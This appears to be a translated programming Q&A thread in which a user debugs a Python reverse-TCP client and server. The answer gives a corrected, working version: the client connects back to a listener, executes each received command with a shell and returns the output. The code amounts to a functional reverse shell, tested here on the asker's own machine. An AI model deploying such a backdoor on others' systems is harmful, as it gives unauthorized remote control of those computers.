TCP 服务器在初始连接后未收到任何信息。 Python

TCP Server not receiving anything after initial connection. Python

因此,我一直在试验 Python 的套接字模块,并且创建了一个简单的 TCP client/server 设置。在同一系统 (Win7x64) 上的所有内容都是 运行,在 ip 192.168.1.3

这是客户端(它是反向 TCP 连接):

import socket, subprocess, time

me = '192.168.1.3'
port = 1332

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
    try:
        s.connect((me, port))
        break
    except:
        time.sleep(1)
s.send('[*] Connected!')

while True:     
     data = s.recv(1024)
     output = subprocess.check_output(data, shell=True)
     s.send(output)     
s.close()

这是服务器:

import socket

host = '0.0.0.0'
port = 1332

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

def handler(client):
    req = client.recv(1024)
    print 'Recieved: %s' % req
    command = raw_input('> ')
    print 'Sending: %s' % command
    client.send(command)
    #client.close()

while True:
    client,addr = s.accept()
    print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
    client_handler = threading.Thread(target=handler,args=(client,))
    client_handler.start()

这是我在服务器上收到的输出:

Accepted connection from: 192.168.1.3:61147
Recieved: [*] Connected!
Sending: *example command*

然后它就挂在那里了。无论我让客户发送什么,它都不会收到。命令在客户端成功,但输出未发回。

哈尔普?

编辑:我通过将函数中的内容封装在一个循环中,成功地获得了服务器接收到的命令的输出一次:

def handler(client):
while True:
    req = client.recv(1024)
    print 'Recieved: %s' % req
    command = raw_input('> ')
    print 'Sending: %s' % command
    client.send(command)

所以,如果我发送 dir 命令,我会收到一次输出。但是在尝试发送另一个命令时,我得到了这个:

    Exception in thread Thread-1:
Traceback (most recent call last):
  File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
    self.run()
  File "C:\Python27\lib\threading.py", line 763, in run
    self.__target(*self.__args, **self.__kwargs)
  File "C:\Users\Jami\Documents\Awn\Eclipse USB     Backup\Extracted\Programming\Python\Random Shit\ReverseShell\receiver.py", line 13, in handler
    req = client.recv(1024)
error: [Errno 10053] An established connection was aborted by the software in your host machine

编辑:

有人可以推荐替代方法吗?我想要做的是让服务器 1. 向客户端发送命令,2. 客户端执行命令,3. 发回输出,4. 服务器接收输出。并为此继续进行,直到它被用户停止。

Shashank说得对,一旦接收到一次数据,就回到accept循环。

如果您想在接受新连接的同时继续接收此客户端,您应该考虑创建一个线程来处理连接,然后在您的主线程中继续接受新连接。

TCP 是一种流式传输协议。因此,您需要某种消息格式来进行通信。其次,您需要一个循环来发送命令并读取结果。在客户端,您还需要某种消息协议来发送结果。我使用 json 编码字符串和新行作为消息结束字符。

服务器:

import socket
import threading
import json

host = '0.0.0.0'
port = 1332

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

def handler(client):
    print 'Recieved: %s' % client
    sock_input = client.makefile('r')
    while True:
        command = raw_input('> ')
        if command == 'exit':
            break
        print 'Sending: %s' % command
        client.sendall(command + '\n')
        print json.loads(next(sock_input))
    client.close()

def main():
    while True:
        client,addr = s.accept()
        print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
        client_handler = threading.Thread(target=handler,args=(client,))
        client_handler.start()

if __name__ == '__main__':
    main()

客户:

import socket
import subprocess
import time
import json

me = 'localhost'
port = 1332

def main():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((me, port))
            break
        except Exception, e:
            print e
            time.sleep(1)
    sock_input = s.makefile('r')
    for command in sock_input:
         try:
             output = subprocess.check_output(command, shell=True)
         except:
             output = 'Could not execute.'
         s.sendall(json.dumps(output)+'\n')
    s.close()

if __name__ == '__main__':
    main()